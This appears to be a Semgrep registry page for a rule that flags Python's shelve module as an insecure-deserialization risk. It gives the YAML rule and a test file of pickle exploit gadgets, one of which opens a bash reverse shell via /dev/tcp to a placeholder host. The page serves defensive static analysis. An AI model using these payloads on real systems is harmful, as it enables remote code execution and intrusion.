python.lang.security.deserialization.pickle.avoid-shelve

Community Favorite
profile photo of returntocorpreturntocorp
Author
71,865
Download Count*

Avoid using shelve, which uses pickle, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.

Run Locally

Run in CI

Defintion

rules:
  - id: avoid-shelve
    metadata:
      owasp:
        - A08:2017 - Insecure Deserialization
        - A08:2021 - Software and Data Integrity Failures
      cwe:
        - "CWE-502: Deserialization of Untrusted Data"
      references:
        - https://docs.python.org/3/library/pickle.html
      category: security
      technology:
        - python
      cwe2022-top25: true
      cwe2021-top25: true
      subcategory:
        - audit
      likelihood: LOW
      impact: MEDIUM
      confidence: MEDIUM
      license: Commons Clause License Condition v1.0[LGPL-2.1-only]
    languages:
      - python
    message: Avoid using `shelve`, which uses `pickle`, which is known to lead to
      code execution vulnerabilities. When unpickling, the serialized data could
      be manipulated to run arbitrary code. Instead, consider serializing the
      relevant data as JSON or a similar text-based serialization format.
    severity: WARNING
    pattern: shelve.$FUNC(...)

Examples

pickle.py

# Import dependencies
import os
import _pickle

# Attacker prepares exploit that application will insecurely deserialize
class Exploit(object):
  def __reduce__(self):
    return (os.system, ('whoami',))

# Attacker serializes the exploit
def serialize_exploit():
  # todoid: avoid-pickle
  shellcode = _pickle.dumps(Exploit())
  return shellcode

# Application insecurely deserializes the attacker's serialized data
def insecure_deserialization(exploit_code):
  # todok: avoid-pickle
  # _pickle.loads(exploit_code)

  # todoid: avoid-pickle
  _pickle.loads(exploit_code)

# Application insecurely deserializes the attacker's serialized data
def insecure_deserialization_2(exploit_code):
  import _pickle as adaasfa
  # todoid: avoid-pickle
  adaasfa.loads(exploit_code)

import cPickle
import socket

class Shell_code(object):
  def __reduce__(self):
          return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
# todoid: avoid-cPickle
shell = cPickle.dumps(Shell_code())

import dill
# todoid: avoid-dill
shell = dill.dumps(Shell_code())

import shelve
# ruleid: avoid-shelve
myShelve = shelve.open(Shell_code())

if __name__ == '__main__':
  # Serialize the exploit
  shellcode = serialize_exploit()

  # Attacker's payload runs a `whoami` command
  insecure_deserialization(shellcode)